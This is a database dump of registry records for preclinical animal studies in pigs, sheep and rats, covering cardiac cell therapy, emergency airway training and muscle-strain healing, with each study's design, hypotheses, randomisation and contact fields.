	(5249,107,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5250,107,'primary_readout_parameter','\"Efficacy: injection accuracy (distance to infarct border zone)\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5251,107,'secondary_readout_parameter','\"duration, radiation\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5252,107,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5253,107,'no_exclusive_animal_use_details','\"not possible\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5254,107,'species','\"pig\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5255,107,'strain','\"Topig \"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5256,107,'sex','\"female\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5257,107,'experimental_design','\"LAD infarct \"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5258,107,'sample_size_calculation','\"no\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5259,107,'sum_of_animals','\"12\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5260,107,'study_arms','[{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"noga\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"CB2\"}]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5261,107,'randomisation','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5262,107,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5263,107,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5264,107,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5265,107,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5266,107,'placebo_controlled','\"no\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5267,107,'original_animal_ethics_committee_application','\"DEC Utrecht\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5268,107,'application_number','\"2014.II.08.062\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5269,110,'title','\"Xenotransplantationof Human Cardiomyocyte Progenitor Cells for Cardiac Function in a Porcine Model of Chronic Ischemic Heart Failure. A Randomized, Blinded, Placebo Controlled Trial\\n\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5270,110,'short_title','\"CMPCs in pigs\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5271,110,'contact_name','\"Sanne Jansen of Lorkeers\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5272,110,'contact_role','\"executive researcher\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5273,110,'contact_email','\"sannejofl@hotmail.com\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5274,110,'study_centre','[{\"name\":\"UMC Utrecht\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5275,110,'financial_support','[\"grants\"]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5276,110,'start_date','\"2013-01-01\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5277,110,'end_date','\"2014-08-01\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5278,110,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5279,110,'research_field','\"Cardiology\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5280,110,'hypothesis','\"Human cardiomyocyte progenitor cells improve cardiac function in a porcine model of ischemic heart failure.\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5281,110,'intervention_type','\"compound\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5282,110,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5283,110,'primary_readout_parameter','\"Efficacy:  left ventricular ejection fraction (EF)at the end of follow-up, measured by magnetic resonance imaging(MRI\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5284,110,'secondary_readout_parameter','\"End diastolic volume\\nEnd systolic voluem\\nInfarct size by LGE MRI\\nInfarct size bij TTC staining\\nHyperemic microvascular resistance\\nVascular density on histoligy\\nPressure- and volume paramaters by pressure-volume-loop measurement\\n\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5285,110,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5286,110,'species','\"pig\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5287,110,'strain','\"Landrace\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5288,110,'sex','\"female\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5289,110,'experimental_design','\"Chronic ischemic heart failure (4 weeks after myocardial infarction by occlusion of the LAD)\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5290,110,'sample_size_calculation','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5291,110,'sample_size_calculation_details','\"estimated effect 7.5% \\nstandarddeviation of 5%,\\npowerof 0.9 \\nalpha of 0.05\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5292,110,'sum_of_animals','\"16\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5293,110,'study_arms','[{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Intracoronary infusion of PBS\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Intracoronary infusion of human cardiomyocyte progenitor cells\"}]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5294,110,'randomisation','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5295,110,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5296,110,'details_randomisation','\"stratified_randomisation\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5297,110,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5298,110,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5299,110,'placebo_controlled','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5300,110,'link_to_data','\"http:\\/\\/journals.plos.org\\/plosone\\/article?id=10.1371\\/journal.pone.0143953 \"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5301,110,'application_number','\"2012.II.09.145\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5302,111,'contact_name','\"Evelyne Demkes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5303,111,'contact_role','\"Executive researcher\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5304,111,'contact_email','\"E.J.Demkes-2@umcutrecht.nl\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5305,111,'study_centre','[{\"name\":\"\",\"city\":\"\",\"country\":\"NL\"}]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5306,111,'financial_support','[\"industry\"]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5307,111,'start_date','\"2017-05-01\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5308,111,'end_date','\"2018-03-01\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5309,111,'study_status','\"active\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5310,111,'research_field','\"Cardiology\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5311,111,'intervention_type','\"compound\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5312,111,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5313,114,'title','\"Scalpel-finger-cannuLA versus Scalpel-finger-scalpel-bougie for front-of-neck access in a sHeep model (SLASH Study): A randomised controlled trial of time to first oxygenation during emergency airway training using an impalpable neck anatomy model by anaesthetists\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5314,114,'short_title','\"SLASH\\/Observing time to successful rescue oxygenation between two recommended techniques during emergency airway training of anaesthetists in a live animal model \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5315,114,'contact_name','\"Helen Gordon\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5316,114,'contact_role','\"Lead Investigator\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5317,114,'contact_email','\"helen.murray@health.wa.gov.au\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5318,114,'study_centre','[{\"name\":\"Royal Perth Hospital\",\"city\":\"Perth\",\"country\":\"AU\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5319,114,'financial_support','[\"investigator_driven\",\"other\"]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5320,114,'other_financial_support','\"This research is undertaken during the routine airway training funded by Royal Perth Hospital\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5321,114,'start_date','\"2018-05-01\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5322,114,'end_date','\"2019-05-28\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5323,114,'study_status','\"not_started\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5324,114,'research_field','\"Anaesthesia\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5325,114,'hypothesis','\"We seek to determine whether anaesthetic registrars and consultants achieve oxygen delivery to the airway faster with a scalpel-finger-cannula (SFC) versus scalpel-finger-scalpel-bougie (SFSB) technique in a simulated CICO scenario in anaesthetised sheep with impalpable neck anatomy. The null hypothesis is that both techniques are equally fast.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5326,114,'intervention_type','\"delivery_method\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5327,114,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5328,114,'primary_readout_parameter','\"Efficacy: Time from identification of the trachea (time A) to first oxygen delivery to the airway (time D). Timed by investigator.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5329,114,'secondary_readout_parameter','\"Time from start of the procedure to identification of trachea by palpation as reported by participant (time A); time to (supposed) puncture of airway with cannula or scalpel as reported by participant (time B); time to (supposed) confirmation of bougie or cannula inserted in airway as reported by participant (time C)(bougie by \\u2018feel\\u2019, cannula by \\u2018check-aspiration technique\\u2019); time to physiological response in animal: start of increase in heart rate (time E1) and\\/or increase SpO2 (time E2) as assessed by investigators; time to achieving cuffed airway with etCO2 verification as observed by investigators (time F). In addition we will record \\u2018success\\u2019 (defined as oxygen is delivered to the airways within 3 minutes, and two or less attempts have been performed) or \\u2018failure\\u2019 (no oxygen is delivered to the airways within 3 minutes, or two attempts have failed). \\n\\n\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5330,114,'species','\"sheep\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5331,114,'sex','\"both\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5332,114,'exclusive_animal_use','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5333,114,'no_exclusive_animal_use_details','\"Primary use is for airway training. May also be used for blood letting for blood agar.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5334,114,'sample_size_calculation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5335,114,'sample_size_calculation_details','\"sample size 32, alpha 0.05, 80% power to detect a difference in time to oxygenation 60 seconds versus 90 seconds (Standard deviation 30 seconds). No drop outs anticipated.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5336,114,'experimental_design','\"Live anaesthetised sheep\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5337,114,'sum_of_animals','\"32\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5338,114,'study_arms','[{\"type\":\"intervention\",\"number\":\"A\",\"intervention\":\"A: For this group of 16 sheep the SFC procedure will be performed in the cranial deep neck and the SFSB in the caudal deep neck\"},{\"type\":\"intervention\",\"number\":\"B\",\"intervention\":\"B: For this group of 16 sheep the SFSB technique will be performed in the cranial deep neck and the SFC technique in the caudal deep neck\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5339,114,'randomisation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5340,114,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5341,114,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5342,114,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5343,114,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5344,114,'placebo_controlled','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5345,114,'application_number','\"T 101\\/17--20\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5346,114,'has_embargo','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5347,115,'title','\"Effects of deep friction massage versus augmented soft tissue mobilization on the healing of induced muscle strain in rodents: a preliminary study\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5348,115,'study_centre','[{\"name\":\"Cairo University\",\"city\":\"Cairo\",\"country\":\"EG\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5349,115,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5350,115,'start_date','\"2018-05-01\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5351,115,'end_date','\"2018-06-01\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5352,115,'study_status','\"not_started\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5353,115,'research_field','\"Musculoskeletal\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5354,115,'hypothesis','\"1.\\tDeep Friction massage (DFM) will not improve scare maturation and tissue healing after induced strain injury, as measured by modified Movin semiquantitative histopathology grading scale, when applied during sub-acute stage of healing.\\n2.\\tDFM will not improve scare maturation and tissue healing after induced strain injury, as measured by modified Movin semiquantitative histopathology grading scale, when applied during chronic stage of healing.\\n3.\\tDFM will not improve scare maturation and tissue healing after induced strain injury, as measured by glycosaminoglycans (GAGs) density, when applied during sub-acute stage of healing.\\n4.\\tDFM will not improve scare maturation and tissue healing after induced strain injury, as measured by GAGs density, when applied during chronic stage of healing.\\n5.\\tDFM will not improve scare maturation and tissue healing after induced strain injury, as measured by mast cell number, when applied during sub-acute stage of healing.\\n6.\\tDFM will no improve scare maturation and tissue healing after induced strain injury, as measured by mast cell number, when applied during chronic stage of healing.\\n7.\\tDFM will not improve limb function after induced strain injury, as measured by Sciatic Functional index (SFI) when applied during sub-acute stage of healing.\\n8.\\t. DFM will not improve limb function after induced strain injury, as measured by SFI when applied during chronic stage of healing.\\n9.\\tAugmented soft tissue mobilization (ASTM) will not improve scare maturation and tissue healing after induced strain injury, as measured by modified Movin semiquantitative histopathology grading scale, when applied during sub-acute stage of healing.\\n10.\\tASTM will not improve scare maturation and tissue healing after induced strain injury, as measured by modified Movin semiquantitative histopathology grading scale, when applied during chronic stage of healing.\\n11.\\tASTM will not improve scare maturation and tissue healing after induced strain injury, as measured by GAGs density, when applied during sub-acute stage of healing.\\n12.\\tASTM will not improve scare maturation and tissue healing after induced strain injury, as measured by GAGs density, when applied during chronic stage of healing.\\n13.\\tASTM will not improve scare maturation and tissue healing after induced strain injury, as measured by mast cell number, when applied during sub-acute stage of healing.\\n14.\\tASTM will not improve scare maturation and tissue healing after induced strain injury, as measured by mast cell number, when applied during chronic stage of healing.\\n15.\\tASTM will not improve limb function after induced strain injury, as measured by SFI when applied during sub-acute stage of healing.\\n16.\\tASTM will not improve limb function after induced strain injury, as measured by SFI when applied during chronic stage of healing.\\n17.\\tThere will be no difference between DFM and ASTM on TA muscle structure following induced strain injury, as measured by modified Movin semiquantitative histopathology grading scale, when applied during sub-acute stage of healing.\\n18.\\tThere will be no difference between DFM and ASTM on TA muscle structure following induced strain injury, as measured by GAGs density, when applied during sub-acute stage of healing.\\n19.\\tThere will be no difference between DFM and ASTM on inflammation within TA muscle following induced strain injury, as measured by mast cells number, when applied during sub-acute stage of healing.\\n20.\\tThere will be no difference between DFM and ASTM on TA muscle structure following induced strain injury, as measured by modified Movin semiquantitative histopathology grading scale, during the chronic stage of healing.\\n21.\\tThere will be no difference between DFM and ASTM on TA muscle structure following induced strain injury, as measured by GAGs density, during the chronic stage of healing.\\n22.\\tThere will be no difference between DFM and ASTM on inflammation within TA muscle following induced strain injury, as measured by mast cells number, during the chronic stage of healing.\\n23.\\tThere will be no difference between DFM and ASTM on lower limb function as measured by SFI following TA induced strain injury, when applied during sub-acute stage of healing.\\n24.\\tThere will be no difference between DFM and ASTM on lower limb function as measured by SFI following TA induced strain injury, when applied during the chronic stage of healing.\\n\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5355,115,'intervention_type','\"delivery_method\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5356,115,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5357,115,'exclusive_animal_use','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5358,115,'no_exclusive_animal_use_details','\"The control group is common with other research questions\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5359,115,'species','\"rat\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5360,115,'strain','\"Wistar rats\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5361,115,'sex','\"male\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5362,115,'sample_size_calculation','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5363,115,'sum_of_animals','\"60\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5364,115,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Normal rats will be kept and allowed free cage movement without any intervention. Rats will be sacrificed at the end of the study period to obtain reference standard for normal tissues\"},{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Strain injury will be induced yet animals will not receive any therapeutic intervention and will be kept and allowed free cage movement. Rats will be sacrificed at 27th day to obtain reference of healing tissue.\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"DFM will be applied 7th day after induced strain injury to investigate the effect of DFM on tissue healing when treatment starts at the sub- acute stage. Rats will be sacrificed at the 27th day.\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"DFM will be applied 14th day after induced strain injury to investigate the effect of DFM on tissue healing when treatment starts at the chronic stage. Rats will be sacrificed at the 27th day.\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"IASTM will be applied 7th day after induced strain injury to investigate the effect of DFM on tissue healing when treatment starts at the sub- acute stage. Rats will be sacrificed at the 27th day.\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"IASTM will be applied 14th day after induced strain injury to investigate the effect of DFM on tissue healing when treatment starts at the chronic stage. Rats will be sacrificed at the 27th day.\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5365,115,'randomisation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5366,115,'placebo_controlled','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5367,115,'has_embargo','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5368,115,'experimental_design','\"Rodents\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5369,115,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5370,115,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5371,116,'title','\"Effects of swimming frequency on healing of induced-muscle strain in rodents\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5372,116,'contact_name','\"Aliaa Rehan Youssef\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5373,116,'contact_role','\"Research supervisor\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5374,116,'contact_email','\"aliaa.rihan@pt.cu.edu.eg\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5375,116,'study_centre','[{\"name\":\"Cairo University\",\"city\":\"Giza\",\"country\":\"EG\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5376,116,'financial_support','[\"other\"]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5377,116,'other_financial_support','\"Not available\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5378,116,'end_date','\"2018-06-02\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5379,116,'study_status','\"not_started\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5380,116,'research_field','\"Medical Science\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5381,116,'hypothesis','\"1.\\tSwimming frequency will have no effect on TA-muscle structure following induced strain injury as measured by modified Movin semiquantitative histopathology grading scale at sub-acute stage of healing.\\n2.\\tSwimming frequency will have no effect on TA-muscle structure following induced strain injury as measured by mast cells number at sub-acute stage of healing.\\n3.\\tSwimming frequency will have no effect on TA-muscle structure following induced strain injury as measured by glycosaminoglycans (GAGs) density and area at sub-acute stage of healing.\\n4.\\tSwimming frequency will have no effect on TA-muscle structure following induced strain injury as measured by modified Movin semiquantitative histopathology grading scale at the chronic stage of healing.\\n5.\\tSwimming frequency will have no effect on TA-muscle structure following induced strain injury as measured by mast cells number at the chronic stage of healing.\\n6.\\tSwimming frequency will have no effect on TA-muscle structure following induced strain injury as measured by GAGs density and area at the chronic stage of healing.\\n7.\\tSwimming frequency will have no effect on lower limb function as measured by Sciatic Functional Index (SFI) following TA muscle strain at sub-acute stage of healing.\\n8.\\tSwimming frequency will have no effect on lower limb function as measured by SFI following TA muscle strain at the chronic stage of healing.\\n\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5382,116,'intervention_type','\"delivery_method\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5383,116,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5384,116,'primary_readout_parameter','\"Efficacy: Sciatic functional index (SFI) which is simple, reliable and accurate noninvasive technique to assess functional recovery after lower limb injury in rodents will be assessed in all groups before and at first day after injury, and then reassessment will be done before sacrifice.\\n\\nHistology and histomorphometry\\n After euthanasia, the Tibialis anterior (TA) muscle will be exposed and dissected bilaterally within fifteen minutes and fixed in formalin until prepared for histologic processing. Tissues will be stained with Hematoxylin and Eosin stain to examine cellular structure which will include fibre structure and arrangement, rounding of the nuclei, regional variations in cellularity, increased vascularity, decreased collagen stainability and hyalinization. Also Toluidine Blue dye will be used to assess mast cells whereas Alcian blue stain will be used to color GAGs-rich areas. \\n\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5385,116,'exclusive_animal_use','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5386,116,'no_exclusive_animal_use_details','\"Twenty animals in the two control groups (negative and positive control which will be sacrificed at chronic stage (21st day) will be shared with another study\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5387,116,'species','\"rat\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5388,116,'strain','\"Wister rats \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5389,116,'sex','\"male\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5390,116,'experimental_design','\"Strain of TA will be induced in the right hind limb of all positive control and experimental animals using a valid non-invasive passive tendon stretching method (Ramos et al., 2012).\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5391,116,'sample_size_calculation','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5392,116,'sample_size_calculation_details','\"Since there is no available data from previous study with the same methods and outcome  measures, \\na sample of 10 animals per group will be used as recommended (An &amp; Bell, 1998).\\n\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5393,116,'sum_of_animals','\"70\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5394,116,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\" Negative control group: Normal rats will be kept and allowed free cage movement without any intervention. Rats will be sacrificed at 21st day to obtain reference standard for normal tissues.\"},{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Positive control group: Strain injury will be induced yet animals will not receive any therapeutic intervention and will be kept and allowed free cage movement. Rats will be sacrificed at 9th day to obtain the reference of spontaneously healing tissue at the sub-acute stage.\"},{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Positive control group: Strain injury will be induced yet animals will not receive any therapeutic intervention and will be kept and allowed free cage movement. Rats will be sacrificed at 21st day to obtain the reference of spontaneously healing tissue at the chronic stage.\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Group 2A: Swimming exercise will be performed every day from 1st day till 8th day after induced-strain injury and animals will be sacrificed at 9th day to investigate the effect of this swimming frequency on tissue healing at the sub-acute stage.\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Group 2B: Swimming exercise will be performed every day from 1st day till 8th day after induced-strain injury and animals will be sacrificed at 21st day to investigate the effect of this swimming frequency on tissue healing at the chronic stage.\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Group 3A: Swimming exercise will be performed day after day from 1st day till 8th day after induced-strain injury and animals will be sacrificed at 9th day to investigate the effect of this swimming frequency on tissue healing at the sub-acute stage.\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Group 3B: Swimming exercise will be performed day after day from 1st day till 8th day after induced-strain injury and animals will be sacrificed at 21st day to investigate the effect of this swimming frequency on tissue healing at the chronic stage.\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5395,116,'randomisation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5396,116,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5397,116,'details_randomisation','\"stratified_randomisation\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5398,116,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5399,116,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5400,116,'placebo_controlled','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5401,116,'has_embargo','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5402,117,'title','\"CHANGES IN FASCIA STRUCTURE AFTER INDUCED MUSCLE STRAIN IN RODENTS\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5403,117,'short_title','\"CHANGES IN FASCIA STRUCTURE AFTER INDUCED MUSCLE STRAIN IN RODENTS\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5404,117,'contact_name','\"Aliaa Rehan Youssef\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5405,117,'contact_role','\"research group supervisor,sharing in the conduct of the study, finance and the revision of the theoretical parts\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5406,117,'contact_email','\"Aliaa.rihan@pt.cu.edu.eg\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5407,117,'study_centre','[{\"name\":\"Animal house. Faculty of medicine. Cairo university\",\"city\":\"Cairo\",\"country\":\"EG\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5408,117,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5409,117,'start_date','\"2018-07-01\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5410,117,'end_date','\"2018-07-22\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5411,117,'study_status','\"not_started\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5412,117,'research_field','\"musculoskeletal in physical therapy \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5413,117,'hypothesis','\"*General null hypotheses: muscle strain will have no significant effects on fascia structure.\\n*Specific null hypotheses:\\n1. Strain injury will have no significant effects on fascia cellularity over time.\\n2. Strain injury will have no significant effects on fascia collagen fibers\\n(number, density and alignment) over time.\\n3. Strain injury will have no significant effects on fascia extracellular matrix\\n(ECM) (density and composition) overtime.\\n4. Strain injury will have no significant effects on fascia myofibroblasts\\nnumber overtime.\\n5. There will be no significant correlation between muscular and fascia\\nstructural changes over time after strain injury.\\n\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5414,117,'intervention_type','\"other\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5415,117,'other_intervention_type','\"It is an observational study with no intervention being applied.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5416,117,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5417,117,'secondary_readout_parameter','\"Severe unrelieved pain after strain induction with the rat not regaining its function after 48h post strain induction with progressive loss of function. This can be an indicator of severe injury occurrence, yet, it is unlikely to occur. \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5418,117,'exclusive_animal_use','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
